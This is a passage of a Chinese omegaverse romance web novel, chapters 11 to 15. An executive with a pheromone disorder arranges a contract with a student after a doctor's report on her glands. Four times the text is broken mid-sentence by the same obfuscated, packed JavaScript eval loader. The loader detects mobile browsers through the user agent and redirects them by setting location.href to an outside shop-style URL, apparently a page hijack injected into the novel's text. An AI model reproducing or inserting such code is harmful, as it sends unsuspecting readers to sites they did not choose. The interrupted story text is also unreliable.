不用阻隔贴的混账东西。 “嗯……” 后悔了,不该让姜映走了,甚至想不管不顾,立马叫她回来。 呼吸不断起伏,程卿言看向一旁的手机,眸光欲|色晦暗,但最后一丝理智制止了她,起身扶着墙艰难地去了浴室。 两个小时后。 程卿言重新回到客厅,身上换了干净的睡袍,疲惫地靠着沙发缓了一会儿,有些困惑为何此次反应变得如此剧烈,并且是在前一个小时打了两支抑制剂的情况下。 往常她硬抗半个小时,症状就能缓解很多。 她的情况变严重? 程卿言给秦助理发了消息,让她去联系医生安排检查。 感觉恢复些体力后,她拿出电脑开始工作,拉面丸子在院子里玩累了,乖乖趴在她脚边睡觉。 夜色浓郁,接近凌晨,余简予发来了微信消息。 余简予兴奋:【结束了吗,感觉怎么样,是不是很舒服?】 程卿言面无表情:【没有感觉】 余简予困惑:【???】 余简予:【她是不会,技术不好,还是你要求太高?】 难得遇见一位程卿言不反感的alpha,若真是个技术不好的,那也太糟心了。 程卿言:【不是你想的那样,我和她什么也没发生,签了保密协议就让她走了,日后不会再联系】 余简予下意识输入为什么,在准备发送时又删掉了,长长叹了口气,其实她一直知道对方反感这些,但她每次看见她硬扛的样子,总是于心不忍的。 太难熬了。 看着让人抹泪心疼。 所以她才时不时劝她招聘信息素安抚者,虽然alpha的信息素对于信息素紊乱的omega而言,也只是起缓解抑制作用,作用和抑制剂差不多,但舒适感体验感更好,没有副作用,还不用扎针。 她希望她能舒服些。 这些年治疗信息素紊乱的药一直在研究,去年有了新的技术突破,有望在明年取得成果。 目前的状况,余简予只能祈祷特效药能在明年研制出来。 程卿言说:【这么多年过来了,也不差最后这段时间,我没事的简予,你相信我】 余简予哼了一声:【我才没有担心你】 程卿言顺着她说:【是我自作多情了?】 余简予骂骂咧咧说了她两句:【你最好一辈子都对alpha不感兴趣,不然我日后天天骂你】 程卿言:【我确实对alpha不感兴趣,你没机会骂】 余简予:【你就和拉面丸子过一辈子吧】 程卿言:【谢谢祝福,明日我要去检查,你要陪我吗】 余简予:【当然要去,拜拜睡了】 程卿言今日体能消耗很大,浑身乏累,也回房休息了。 翌日。 程卿言让医生给她做了检查,情况比较复杂,等了半天拿到了结果,她不是学医的,但看过的报告实在太多,各项数值指标是何意她都清楚,眉头微蹙起。 她的腺状况虽然复杂,这些年一直控制得较好,即使在逐渐严重,也是正常的演变,信息素不会突然毫无预兆地起伏不稳。 医生也感到奇怪,问道:“腺体最近受到过高强度的刺激吗?” 余简予接话:“高强度的刺激是指什么,点击,雷劈,火烙?” 程卿言想了想:“上周有过一次临时标记,但中途停止了,没有完成,是因为这个吗?” 余简予震惊地看她一眼,天乖乖,她一直以为那晚程卿言只是让姜映释放信息素,没有发生肢体接触,居然是临时标记,让对方碰了她的腺体。 医生道:“可能性很大。” 程卿言:“之前不是说alpha的信息素比抑制剂更舒服,能让腺体更加稳定吗,为什么会出现这种状况。” 不然余简予也不会一直嚷着给她招信息素安抚者。 接下来的半小时里,医生从科学的角度给她解释了缘由,腺体首次接受标记安抚,刺激过大,短时间内会处于兴奋状态,少部分信息素紊乱患者或者腺体健康的omega会出现这种情况,有先例子,但比较罕见。 “还有一种可能,你的信息素很喜欢那位alpha的味道,所以腺体变得更加不安分了。” 腺体因为尝过了喜欢的味道,从而对抑制剂产生了抵抗,日后抑制剂的效果也会大大减弱。 如果是正常反应造成的,可以开些药物来调理,试着让其恢复到原况,若是第二种可能,属于生理层面的喜欢,药物也调理不回去,最好的方法是让那位alpha一直提供安抚。 医生从她这些年腺体变化的数据分析,更倾向于第二种可能。 取了药,从诊室出来时天色已经黑了,程卿言神色淡淡,看起来情绪正常,熟悉她的人才知道这是想刀人的前兆。 余简予怕怕的,不敢开口,朝着秦助理使眼色:说话,你和她说说话 秦助理惶恐:我,我吗? 余简予继续使眼色:上,就你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程卿言幽幽看她一眼。 “你把电话给我,”余简予也不皮了,积极解决,“我来和她谈,你不用说话。” 程卿言思忖片刻,拿出手机按到通话界面拨通号码,按了免提。 很快一道熟悉的声音响起。 “您好,你拨打的电话正在通话中,请稍后再拨。” 过了五分钟又打一次,播报已关机,快到餐厅再打了一次,又说在通话中。 余简予纳闷:“是不是号码错了?” 程卿言呵了一声,淡淡道:“很明显人家已经把我拉黑了。” 签了合同脚底抹油立马跑,紧接着把她电话拉黑了。 拉——黑——了。 12. 第 12 章 第十二章 略微尴尬的气氛在车里蔓延。 余简予愣住,不知道如何接话了,秦助理也不敢吱声,安静开着车。 拉黑? 拉黑程卿言? 好陌生的一句话。 谁也没想到这样的事会发生在程卿言身上,很陌生的体验。 这下程卿言真的有理由怀疑姜映之前坚定地说要负责的话,其实是故作可怜迷惑她的假象。 别人欲拒还迎,姜映欲迎还拒。 余简予咳了一声,装作什么都不知道,说:“我话费挺多的,用我的手机打。” 程卿言双手环胸,没同意也没拒绝,只是道:“你能让她主动求着来见我吗?” 余简予:…… 这谁能呀,这种时候怎么还傲娇上了,你才把对方拒绝了,对方也迅速拉黑你了,怎么可能再求着来见你。 但她是良友,会为朋友出谋划策:“我有一个办法,你学霸总用强的那一套,在学业生活上给她使绊子,把她逼到绝境孤立无援,你不用说一个字,她肯定会求着来见你,你看可行吗?” “可行,”程卿言说,“但这样是不是显得我太坏了?” 余简予:“是有一点点,不过你可以恩威并施,给她一巴掌再给一颗糖。” 程卿言认真思索一番,摇头:“算了,我不喜欢这种招数。” 提议被否决,余简予也没办法了,只能她们态度良好地去找姜映了,一不做二不休,她把姜映的电话输到自己手机,按了拨通。 正常响铃,但几秒后就被挂断。 没人接。 余简予准备再打一通,程卿言阻止:“不接就算了,别打了。” * 见陌生电话打进来,姜映按了挂断。 自从接了许多骚扰电话,她好像被盯上了,不断有陌生电话打来,已经干扰到她的正常生活。 熟人的电话号她都有保存,很少有陌生人找她谈正经事,即使真有,在她挂断后也会再打一次。 因此她决定这几日不接陌生电话了,避一避这些搞推销的。 手机放在一旁没再理会,姜映全身心投入到学习中,写完论文关了电脑,在睡前去阳台给张芸打了一通电话。 张芸知道她的作息,接通后问道:“忙到现在才休息啊?” 姜映嗯了一声:“妹妹睡了吗?” 张芸道:“已经睡了一会儿了,有事要给她说吗,我明天让她打给你。” 姜映:“也没什么事,快到她生日了,想问问她要什么礼物。” 张芸笑了笑:“我都差点忘记了,你到时候给她定一个蛋糕吧,她生日那天你要回来一趟吗?” 姜映想了想道:“如果那天没事,我就回来。” 张芸应了好,问了问她的近况,嘱咐她记得吃药,便结束了聊天。 阳台上凉风瑟瑟,姜映没急着回寝室,抿着唇抬眸看了眼隐匿在云层中的月牙,和昨晚从程卿言家回来的夜色差不多,模糊朦胧到不真实。 虽然依旧为自己犯的错而感到懊恼抱歉,但对方已经明确表示不在意,希望这事到此为止,她确实没必要再纠结此事。 呼了口凉气,彻底将其放下。 因此在回来的路上,她就将对方的电话号拉黑删除了,日后不会再有任何联系,她会回到她平静的生活。 程卿言三个字像一场让她紧张不安惶恐的梦,彻底在她世界里消失。 “映映,你打完电话了吗?”周青月出声。 姜映回屋:“怎么了?” 周青月说:“林溪回我消息了,她说最晚月末回来,叫我们不用特意去接她,她行李不多。” 姜映道:“她可能是怕麻烦我们。” 周青月:“我也觉得,不过她都这样说了,我们就听她的呗,等她到了我们一起好好吃顿干锅,我好久没吃干锅了,好馋啊。” 姜映对此没异议:“你不是说要减肥吗?” 周青月痛苦,叹气:“你不提我差点都忘了,那我……到时候吃素菜,不吃肉就行了,你到时候记得监督我。” 她一边说着,一边在某团上找起了干锅店,干锅排骨干锅虾,干锅肥肠干锅鸭,看得津津有味。 “我关灯了?”姜映道。 周青月:“你关吧,我用小台灯。” 借着窗外月色,姜映爬上床,制定了明日具体的计划表,正准备息屏睡觉,收到了一条短信,陌生号码发的。 【姜映你好,我是程卿言,有点事情想和你谈谈,这是我手机号,你加我微信】 可恶,她一点也不好,搞诈骗的人真的无孔不入,打电话还不够,开始发短信了。 还想骗她加微信,若她真的加了,是不是会用程卿言的声音给她发语音,用换脸软件变成程卿言的脸给她打视频。 她看过类似的诈骗案例,技术高超,稍不注意就会被骗。 删除,拉黑。 姜映躺在床上,不禁感慨现在个人信息泄露太严重了,短短几天,骗子已经知道她和程卿言有过瓜葛了。 好在她们昨天就将事情解决,不然她真的会被骗到。 生活本就拮据,兼职挣来的钱没在包里焐热,就会被骗走。 不幸中的万幸。 翌日。 秋风吹拂着暖阳,烦恼的事情解决了,姜映已经恢复状态,上午两节大课结束,到了吃午饭的时间。 没有踩着饭点人最多的时候来,下课后在教室自习了二十分钟,而后才去了食堂。 熟悉的食堂,每个窗口固定不变的菜品,学生熙熙攘攘地分布着,姜映打了套饭找了个空位坐下,安静地吃着饭。 按理说她会像从前那样在吃饭时听听听力,或是思考教授留下的问题,不受周围环境的影响,可在听见后排有人提到程卿言时,注意力不由自主被吸引了。 “你偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904526|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像云秋染好像快回国了,我在热搜上刷到了。” “我当然知道,大半年没她的消息我都开寡疯了,不知道工作室会不会公开回国的行程,我好想去接机,翘课都得去。” “她和她老东家程卿言的绯闻是不是真的啊,当初传得沸沸扬扬的。” “都是谣言,我家秋染眼里只有事业,哪会谈恋爱,我觉得程卿言肯定是单相思,爱而不得。” “也有道理,不然云秋染前两年干嘛不和程氏影业续约,独立出来开工作室了。” ”程卿言肯放人?她不应该强取豪夺吗?” “那就不清楚了,不过和程卿言传过绯闻的人也挺多的,营销号上讲的豪门感情八卦里她经常出现,可能又有新欢了吧。” …… 等姜映反应过来,碗里的饭菜已经快凉了,她稍愣片刻,困惑自己为何会听得那么认真 新欢,因为有了新欢所以才那么急切地和她签定保密协议吗? 姜映抿抿唇,在饭菜彻底凉之前快速吃完。 没回寝室午休,去了图书馆待了一个半小时,下午的课上完后又去了阶梯教室找辩论赛的队友会和,讨论下次比赛的题目。 晚上七点十分。 同实验室的师姐给她打了电话:“映映你这会儿有空吗?” 姜映:“有空,怎么了?” “能不能帮我个忙?” “你说吧师姐。” “我有一份到付的文件得签收,我现在没在学校,你帮我取一下行吗?” “可以的,在北门还是南门?” “北门,那就麻烦你了,明天我找你拿。” 北门摆摊卖吃的很多,人声沸腾,食物的热气在寒风中游荡,姜映站在校门口最明显的位置给快递打了电话,快递员还有两三分钟才到。 得等一会儿,她朝着四周小吃摊看了看,挑选着等会儿吃什么。 眸光突然一凝,怕认错人,定睛多看了几眼,呼吸屏住。 程卿言为什么会出现在这里? 她反应迅速地往身旁的树后一躲,心跳和树叶的沙沙声混在了一起。 周围那么多人,又隔了很长一段距离,对方应该没看见她。 她靠着树干深呼一口气。 虽然看见她也不会怎么样,总归不可能是来找她的,但是她不想和她碰面,若传闻中和梦中得知的事情是真的,日后程卿言的心上人出现了,找她算账怎么办。 很危险的,她得彻底做到没瓜葛,祈祷她彻底遗忘她,以免惹祸上身。 躲了片刻,快递员打来了电话:“我已经到校门口了,你在哪?” “不好意思,你稍等。” 姜映小心翼翼从树后探出头,浓密的眼睫扑闪着朝周围认真地寻看,已经没了程卿言的身影,她松了口气,准备跨脚出去时,一只玉手从身后幽幽搭在了她肩膀上。 “在找谁,需要我帮忙吗?” 13. 第 13 章 第十三章 姜映很小的时候跟着邻居家的姐姐们去过一趟鬼屋。 小县城的游乐场规模小,设施也不高档,鬼屋却很吓人,用最简单的道具营造出最恐怖的氛围感,从进去到出来短短五分钟,邻居姐姐们吓得面如死灰,在鬼屋门前鬼哭狼嚎,像被上身了一般。 还没她们胸口高的姜映全程很淡定,没被鬼屋吓着,却被这些姐姐吓到了,安慰完一个安慰另一个。 “都是假的,世界上没有鬼,你们不要怕,勇敢一点振作起来。” 大家都说年少老成,坚定的唯物主义,胆子大。 此刻,姜映吓得心脏紧缩,面如死灰,差点叫出声。 鬼不可怕,比鬼吓人的人多了去了。 女人轻飘泠然的声音在呼吸间覆上她的后颈,瞬间泛起寒颤,纤纤玉手按在她脖子与肩膀的衔接处,问话间拇指按在她脖子上动了动,再往上一厘米便是alpha的腺体。 白皙细嫩。 又没贴阻隔贴。 程卿言眸光晦暗,停留几秒,察觉到掌下女生浑身紧绷,她缓缓收回手,朝着四周左看看右看看,再问一次:“要我帮忙找找吗?” 姜映咽了咽紧张到好似无法发声的喉咙,转头看着她,心虚道:“没什么,不用您帮忙。” 程卿言似笑非笑:“已经找到了?” 姜映抿了抿唇,她不擅长说谎,不知道该如何回答。 程卿言呵了一声,双手环胸:“在躲我?” 姜映大气不敢喘,低下头小声道:“是的…吧…” 手机铃声再一次响起,她接起来,快递员催促道:“怎么还没到,这位同学你快点行吗,我还得去送下一单。” 姜映再一次道了歉,又对女人说:“我得去那边帮师姐取文件,快递员已经在催了。” “去吧,”程卿言瞅着她紧张的样子,觉得有些好笑,凑近压低声音继续道,“如果你敢逃走,我不敢保证我会不会做出什么失控的事情,或许你可以试试?” 姜映浑身一抖,立马道:“我拿了快递立马过来找您。” 程卿言给她指了指自己停车的地方,示意女生取了快递去找她,她看了两秒女生的背影,先行去了车里等着。 这两日真的吃了很多闭门羹。 先是打电话发现被拉黑了,夜里她又主动用另一个电话号给姜映发了消息,有商有量言辞诚恳,别说加微信,不仅没得到回复,再一次被拉黑,短信也发不了。 她活了快三十年,没被人这样对待过。 姜映,很好。 不过今夜她碰见姜映是个意外。 程卿言的小姑在碚城大学任教,下午在老宅有家庭聚会,见过面后她顺路送小姑回学校,准备离开时瞧见了走出校门的姜映。 在她思考要不要过去找她时,秦助理提醒她姜映看到她了,秦助理接着又提醒她姜映躲起来了。 躲她? 程卿言:…… 她们之间有什么好躲的,彼此不亏欠,见一面正常打声招呼都不行? 离了婚没有感情的妻妻都做不到如此绝情的地步。 等人期间,程卿言让秦助理去买了些东西。 姜映上车后坐立不安,总感觉女人看她的眼神如同看负心女一般,让她有了片刻恍惚,她们签了保密协议,并且说好无需她负责,是不是真实发生的事情。 是真的,她没记错,合同在她寝室放着。 那她为什么要用这种眼神看她,还叫她到车上来,姜映不知所措,指腹捏了捏手腕上的红绳。 “一会儿学校还有事吗?” “没有。” 程卿言嗯了一声,没再理会她,对秦助理道:”开车。” 秦助理:“好的,程总。” 卡宴驶入车流,上了内环,远离了碚城大学,进入了姜映陌生的路段。 她小幅度侧头看看程卿言,思考着怎么开口,打破这种令人瘆得慌的气氛,犹豫再三,欲言又止,最终开口道:“我们要去哪?” 程卿言看着屏幕上的文件:“吃晚饭。” 姜映:“程小姐您还没吃晚饭?” “我吃过了,”程卿言关上电脑:“是请你吃晚饭,如果你吃过了,那就当做请你吃宵夜。” 姜映困惑地看着她:“为什么请我?” 程卿言:“你吃了没?” “没有。” “你没吃,我请你,有什么问题吗?” 如果照这个逻辑讲,听起来确实没问题,但程卿言和她非亲非故,为什么要请她吃晚饭,天下没有白吃的午餐,鸿门宴? 姜映想了想道:“其实我不饿。” “姜映,我听见你肚子叫了,”程卿言道,“放心,我不会下毒。” 找人帮忙办事,得先请客吃顿饭,这些礼数她懂。 餐厅是秦助理安排的,作为年薪百万的助理,她做事很全面,考虑到姜映会紧张,没有定极其高雅的餐厅,选择了一家环境不错,味道也不错的西餐厅。 姜映在困惑中吃了一份牛排,女人抬眸问她:“饱了没,需要再点一份吗?” “不用了,已经够了。” “那走吧。” “去哪?” 程卿言起身:“送你回学校。” 姜映乖乖跟在她身后上了车,真的只是单纯地请她吃晚饭,不是鸿门宴吗? 回程不是高峰期,道路不拥堵,很快就到了碚城大学附近,靠边停下,秦助理自觉下了车,车内只剩下姜映和程卿言。 姜映眨眨眼,虽然不知道缘由,也是要道谢:“谢谢您请我吃饭。” 程卿言感觉车里装饰灯太暗了,将其调亮:“不用谢,应该的。” 为什么是应该的? 姜映疑惑,但她没多问,言多必失:“那我先回学校了。” “稍等,我有点事情要和你谈谈。”程卿言叫住她,她一边说着,一边递给她一张检查报告,“出了点意外,日后我们可能得保持联系。” “为,为什么?” “你看看报告就知道缘由了,看了再聊。” 姜映整个人提起精神,颤抖着手接过如同烫手山芋的检查报告,脑子里走马观花,想起了中学时期同桌们看的小说,alpha和omega意外发生一夜情,双方都没在意断了联系,不久后omega却找上门说她怀孕了,递给alpha一张孕检报告。 孕检报告?! 姜映天快塌了,有些不敢看,片刻后才想起来她标记无能,怎么可能让omega怀孕,自己差点把自己吓傻。 她在干什么,拿了报告也不打开,傻傻地发起了愣,程卿言轻踢她的小腿,提醒:“看报告。” 姜映回神,垂眸认真地看起来。 程卿言递给她的是一份腺体因受到了标记,短时间内兴奋活跃,会影响信息素平衡的报告,其中丝毫没有提到她信息素紊乱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904527|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 症状,她不会让外人知道。 因临时标记导致腺体活跃,从而在短期内会依赖标记自己的alpha的信息素,在健康的omega身上也有出现的可能,报告内容合情合理,没有让人质疑的地方。 姜映看完后,茫然地问:“我……干的?” 程卿言嗯了一声,虽说根本原因她没提,但需求是一样的,解释:“我今日去做的检查,昨晚并不知情才和你说那些话,目前的情况就是报告里说的那样。” 言外之意便是希望在接下来的一段时间内,她们保持联系提供标记。 “你放心,昨夜签的保密协议依旧作数,我会在此基础上再拟一份详细的有关日后提供标记的补充协议,不会影响你的正常生活,你觉得可以吗? 程卿言耐心说完,认真地看着她,等她回复。 谁知姜映依旧问:“真的是我干的?” 她承认咬了女人的腺体,愿意对此负责,但要说她分泌信息素临时标记她,那不是骗人吗。 好冤枉,她不行的啊。 程氏集团也开始发展诈骗业务了? 瞧着她一脸不可置疑的神情,程卿言眉心拧了拧:“你觉得我在骗你吗,你若是不想认,可以直说,不用找借口。” 姜映有理说不清:“没有不想认,我确实冒犯了您,如果您想让我为此负责,我会接受的,但是我标记无能,报告里说的这些情况不是我造成的。” 愿意承担责任,不承认她影响了她,甚至再次扯出标记无能的荒唐话,这人怎么这样。 程卿言不解,也不想为此过多争论,只要能达成她想要的结果便可:“我说的提议,你觉得怎么样?” 如果真的需要alpha的信息素安抚,不应该来找他,姜映想不通她图什么,认真问:“你真的需要我吗?” 程卿言看着她薄薄的唇线:“需要。” omega泠然悦耳的音线让耳朵微微发痒,姜映安静着,好似在思考。 程卿言道:“不会勉强你,你可以考虑。” 姜映问:“如果我想拒绝呢?” 程卿言指尖顿了顿,缓缓道:“那你再考虑考虑。” 是能拒绝还是不能拒绝的意思,姜映不太明白,不过她冒犯她在先,不知道她为什么又变卦了,一会儿需要负责一会不需要,虽然她不想和她有过多牵扯,也不会回避应该负的责任。 做错事就得弥补,尤其在在对方主动提出要求的情况下,决定权不在她。 姜映捏了捏发热的掌心:“我可以答应您,您先让我看看补充合同的内容行吗?” 程卿言略微惊讶,这么容易就答应了啊,她没来得及拟合同:“合同没带,明日给你行吗?” 姜映嗯了一声,问她:“我可以回学校了吗?” 程卿言昵了眼她,在想这人会不会先答应她,紧接着连夜逃跑消失,瞧着不像这种人,于是道:“可以。” 姜映告辞下车,身后传来女人的声音。 “等等。” “您还有事情要说?” 程卿言绕到车后,镶钻的高跟鞋踩着柏油马路,墨绿的缎面衣裙勾勒出窈窕婀娜的身形,优雅地从后备箱提出一盒苹果和一箱旺仔牛奶递到她手里:“走了,明天见。” 找人帮忙办事,得送礼,这些礼数她懂。 姜映一脸茫然地站在冷风中凌乱,提着沉甸甸的苹果牛奶看着卡宴渐行渐远。 姜映:??? 14. 第 14 章 第十四章 找人帮忙办事,先请吃饭再送礼,这些普通的交际应酬手段,程卿言其实不太懂,她的身价地位决定了她无需向她人折腰,平日里想方设法请她吃饭送礼的人倒是比比皆是。 她向不太熟悉的人既请客又送礼,确实是人生第一次。 不得不说,这些招数不错。 看来余简予确实有点东西,想的办法很有效,轻而易举便让姜映答应了。 程卿言拿起手机发消息:【谢了】 余简予:【不客气,不过你在谢我什么?】 程卿言:【姜映答应了】 余简予震惊:【你这么迫不及待就去找她谈了?】 哪里迫不及待了,程卿言呵了一声:【送小姑去碚城大学,校门口意外看见她了,邀请她上车聊了聊,她就答应了】 余简予:【这么简单?】 程卿言:【嗯,采用了你提的意见,请她吃饭送礼】 打电话不接,发短信拉黑,根据这种态度,余简予判断姜映很难搞定,不禁好奇程卿言送了多么贵重的礼物,一次性就说服人家:【你送了什么?】 价值高昂的古玩字画,豪车别墅? 程卿言:【红富士,旺仔】 余简予开始思考哪幅字画名为红富士,哪家车企和旺仔联名出了豪车,思来想去无果,网上也查不到,心里顿了顿,试探问道:【你说的不会是apple和milk吧】 程卿言:【不然?】 余简予两眼一黑:【你也拿得出手,普通人过年走亲戚都不止这点礼】 程卿言:【不是你让我平易近人些吗,太奢侈贵重了会适得其反,遭人厌恶】 让她平易近人,意思是不要很拽地丢几千万上亿的支票出去伤人自尊,哪里是买点牛奶苹果就行了,好歹送点人参鹿茸。 姜映居然为了这点礼答应了,得多爱吃苹果牛奶。 也是难为程卿言能想出这般朴素的礼物,肯定费了很多心思。 余简予叹气,提议:【你写合同的时候,记得报酬多写一点】 程卿言:【这是自然】 没再聊下去,她打开电脑准备理一理合约内容,晚风从没关紧的窗缝吹拂而来,她恍惚几秒,今夜她是不是冲动了,原本只是打算先和姜映谈一谈,待她完全确认腺体的变化是药物不可逆时,才提合同的事情。 可一见着姜映,她就提了签合约,为何如此,被alpha的信息素影响了决策? 程卿言眸光沉了沉,神色晦暗不明。 * 一盒二十斤重的苹果,一箱二十四瓶装的旺仔牛奶,姜映提着爬了五楼,喘了口气放到书桌上。 周青月看见了,惊讶道:“怎么买这么多?” 姜映眨眨眼:“别人给的。” “谁这么大方给这么多啊,家里种果树的吗,一个月都吃不完了。”周青月感慨一句,拿着衣物去了浴室洗漱。 姜映也困惑,不知道程卿言为什么给她这些东西,程氏集团在卖苹果和牛奶吗,产品滞销见人就发? 或者是有别的意思暗示她? 姜映正襟危坐,认真地在网上查起了给人苹果牛奶有何内涵意义。 苹果:平平安安 旺仔牛奶:人财两旺 除此之外,没有别的意思。 她的确爱吃苹果,但上一个乱吃苹果的是白雪公主,遭了很大的罪才醒过来,因此她有些不敢吃程卿言给的。 将近浪费了一整晚的时间,姜映呼口气揉了揉脸,抓紧时间学了下午请假耽搁的课程,又做了明日给学生补习的课件,再次抬头时将近凌晨一点。 轻手轻脚去阳台洗漱,安静地躺回床上,想到程卿言可能会在合同里写的东西,紧张到睡不着,心跳砰砰砰地加速。 只能祈祷合同的内容于她而言是简单的,她为自己犯的错付了负,待合约结束,她们的联系能彻底结束。 得重视这件事情,万一真如梦境那般,和程卿言有过牵扯的alpha都没有好下场,忖度片刻她打开备忘录写下了梦境中的内容,她是个有计划的人,专注地做了该如何和程卿言相处的分析。 不管有用否,为了安全,她得认真对待。 翌日周末,上午去学生家里上了课,忙碌时全神贯注,不会分心去想杂事,待到中午,她从学生家走出来,想起了昨晚程卿言说今天见面看合约。 对方要如何联系她? 打电话吗? 姜映脚步顿住,忽然想起她把人拉黑了,赶紧将她放出来,站在路边做了几分钟的心理建设。 一直是对方联系她,她从未主动过一次,明明自己才是过错方,很失礼。 不怕,不怕,她可以的。 鼓起勇气给程卿言打了电话,铃声和她不受控加速的心跳重合,倒数三下,如果女人不接,她就挂断。 下一秒,泠然熟悉的声音传来,轻轻地像在咬耳朵:“舍得让我出来?” 耳朵被咬掉了,姜映觉得可恶的人是自己,抿抿唇:“对不起。” 她是非分明,对就是对,错就是错,在拉黑程卿言这事上,对于当时的情况而言,她没有错。 为何下意识道歉,她不明白,或许是不想惹她生气。 程卿言幽幽问:“还会让我进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904528|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 会的。 但姜映不敢说,怕头掉了,看着地面上黄灿灿的枫叶,别扭地转话题:“您那边天气怎么样?” 程卿言:…… 碚城不小,也没大到要用两套天气系统的程度:“你不如问我吃饭了没。” 姜映:“那您吃了吗?” 程卿言揉了揉拉面丸子毛茸茸的头,嘴角微微扬了扬:“吃了,你呢?” “我还没有,准备回学校吃。” “在校外?” “嗯,刚给学生补完课。” “补的哪一科?” “两科,数学和物理,很多孩子觉得这两科很难,其实掌握了方法就很简单了,例如物理……” 小蜜蜂开课了,讲起擅常的东西就止不住话茬,程卿言梦回中学时代,脑门嗡嗡嗡地响,却没阻止她。 姜映讲完知识点,后知后觉她干的蠢事,闭嘴停了下来。 程卿言问:“姜老师讲完了?” 另一只耳朵也被咬掉了,姜映深呼口气,抱歉道:“您可以打断我。” “无碍,”午休时间程卿言睡不着,听听课的效果堪比安眠药,来了缕缕困意,慵懒道,“你打电话是想问合同的事吗?” 姜映嗯了一声。 程卿言道:“今日何时有空?” 姜映下午到晚上得和队友讨论赛题,结束后本打算回一趟家看柚柚,只能作罢:“晚上九点左右行吗?” “可以,到时你来我车里,昨天的位置。” 程卿言很配合她的时间,困意袭来,谈好时间挂了电话。 姜映回了学校,有条有理快速忙完正事,晚饭过后回宿舍洗了澡,去赴约了。 周青月以为她要回家,纳闷她为何总是洗了澡才回,以前也没这习惯,寝室的洗澡水要暖和些吗。 喧闹吵杂的校门,车窗隔绝了嘈杂,姜映坐得端端正正:“让您久等了。” 程卿言摇头,瞥见女生嘴唇有些干燥,递过去一瓶苏打水。 姜映道了谢,拧开瓶盖小口喝着。 细微的吞咽声随着喉骨的滚动传入omega耳畔,程卿言眼眸掠过女生没用阻隔贴的白皙后颈。 片刻后视线移开,看向女生挺翘的鼻梁,道:“我与你好像都是在夜里见。” 夜晚对于alpha和omega而言,总会酝酿很多旖旎之事,例如她们初见面便是在夜里的酒店。 姜映瞬间红了耳畔,想解释她不是故意选在夜里,急得差点喝水呛着。 “别紧张,”程卿言眉尾微扬,凑近她缓缓道,“日后夜晚见面的次数只会更多……” 15. 第 15 章 第十五章 然后姜映喝水呛着了,本就红润的脸犹如天边尽情燃烧的晚霞,映在树梢的枫叶上,红得让人赏心悦目。 胸腔起伏着,缓不过气,不停地咳嗽。 程卿言怕她缓不过来咽了气,给她拍了拍背:“能呼吸了吗?” 姜映眼尾咳出了红晕,感觉呼吸顺畅了,点头:“让您见笑了。” 程卿言:“我没笑。” 哪有功夫笑,忙着帮她拍背,手都拍软了。 啊? 姜映眨着卷翘的睫毛,歪头怔怔看着她,好像在惊讶女人会如此说话。 她不知道,她此刻的神态很像她害怕的拉面丸子刚睡醒的时候,程卿言忽然想揉她的头。 罢了,家里有狗,她回去能揉个够。 “我说的是事实,签了合同后,我们会经常见面,你白天得学习兼职,能空出来的时间几乎都在晚上,我们自然是在晚上见,你在紧张什么?” 姜映抿了抿唇,脸上的红晕没有消失,若是普通见面她不会如此,她们之间注定不是普通见面,总觉得羞耻别扭,一时紧张呛着了。 她觉得她有如此反应很正常,反观对方,谈起这种事一直是淡定娴熟游刃有余,她没去验证她所处的世界是否是小说,不确定梦境中关于程卿言感情生活的描述会不会发生,单从网络和同学八卦中了解到,女人对于情|事应该是有经验的。 姜映心安很多,日后她有不会的或是做的不好的地方,可以请她指点她。 “我会努力尽快适应,您先把合同内容给我看看行吗?” 程卿言打开电脑文档,递给她:“我的要求写在上面了,你看看有何不妥,你也可以提出你的要求,没有问题我就叫助理打印出来,签字就行了。” “您稍等。” 姜映不是近视眼,习惯好,阅读速度快。 程卿言的要求不多,她需要见面时姜映得尽量配合她,并且对每次见面发生的事情保密,要求姜映不能对她产生爱慕之情,合约暂定六个月,最长不超过一年。 结束时她会给一张空白支票,只要不让她倾家荡产,报酬金额任填。 为何能控制在一年,因为治疗信息素紊乱的专项药半年内会出成果,最多一年,如果成了,到时候所有信息素紊乱者都能恢复健康。 倘若不成,即使有抑制剂和信息素安抚着的帮助,生命也会走向衰败,支撑不了多久。 